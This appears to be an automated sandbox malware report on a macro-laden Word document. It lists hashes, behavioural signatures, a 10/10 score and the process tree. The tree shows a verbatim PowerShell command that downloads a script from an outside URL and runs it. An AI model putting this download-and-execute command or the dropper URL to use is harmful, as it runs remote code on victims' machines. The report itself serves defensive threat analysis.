Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25/05/2024, 01:10

General

  • Target

    7064157fd4308f34f03145855baf7ff5_JaffaCakes118.docx

  • Size

    83KB

  • MD5

    7064157fd4308f34f03145855baf7ff5

  • SHA1

    5bc1f01e795a088f2eebf84c20804e592f8ceacb

  • SHA256

    e7640a68065cc86a917c271f3ea0cac37134d37f317096d8349af4b36fbdc84d

  • SHA512

    611cf2f04cfb719896b6fb71f8987896f9de027d96c8ff35973ead7ac89afa574052a57d2979a6928e06101dab1473c2b17590221ed92655f8ef654f6cccc36c

  • SSDEEP

    1536:5o2pCReAt9GfwLgrykTmEg4pd/71eG4yKaaAWajspF6WWwXNmwJ7w11q5pYdGnL:5o5ReAtdLgBSEg4pdr4HaQqIcWWwXNmm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://docuz.jiransecurity.com/static/images/update.ps1

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7064157fd4308f34f03145855baf7ff5_JaffaCakes118.docx"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2152
    • \??\c:\Windows\SysWOW64\cmd.exe
      c:\Windows\System32\cmd.exe /k powershell -command $p='c:\Temp\t.ps1'; $e=(New-Object System.Net.WebClient).DownloadFile('https://docuz.jiransecurity.com/static/images/update.ps1', $p);powershell $p
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command $p='c:\Temp\t.ps1'; $e=(New-Object System.Net.WebClient).DownloadFile('https://docuz.jiransecurity.com/static/images/update.ps1', $p);powershell $p
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" c:\Temp\t.ps1
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2896
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2868

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            cce75d1277869ac1ccc8f53ca3a7f698

            SHA1

            6efae23a0649e7f6aa2bff8d368b36037c8f7bb6

            SHA256

            1b4a31fe260445a8f867a3cbd3f524992f695f7387fe32d6f8a0921db75e7428

            SHA512

            da54b3933bd1d6d8c49e9ba33744b85d586efbf7a2bad0ba1b0e506ddd73900d574bba65a1716c1771932fc675510b3112d1eca3837bc7637a7e77d98c019d18

          • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

            Filesize

            2B

            MD5

            f3b25701fe362ec84616a93a45ce9998

            SHA1

            d62636d8caec13f04e28442a0a6fa1afeb024bbb

            SHA256

            b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

            SHA512

            98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

            Filesize

            7KB

            MD5

            0ea9b3112577aef4e8c342967e84d4f1

            SHA1

            b14b3950bc0abfcf7f9503765626bff6912e4f11

            SHA256

            d634d3dae6f09e8b1ce6a6a39519db4ceb60503cebbeab42321172d732a5d58d

            SHA512

            3b01b76163649f849b8b642d4d110810efef49e9d290aa60225cd35519fc78aec203f23dd35b4a8eb23d583b44de17071ab0fa96905b48b0e5310421fdb596f6

          • memory/2152-0-0x000000002F991000-0x000000002F992000-memory.dmp

            Filesize

            4KB

          • memory/2152-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2152-2-0x0000000070D2D000-0x0000000070D38000-memory.dmp

            Filesize

            44KB

          • memory/2152-20-0x0000000070D2D000-0x0000000070D38000-memory.dmp

            Filesize

            44KB

          • memory/2152-52-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2152-53-0x0000000070D2D000-0x0000000070D38000-memory.dmp

            Filesize

            44KB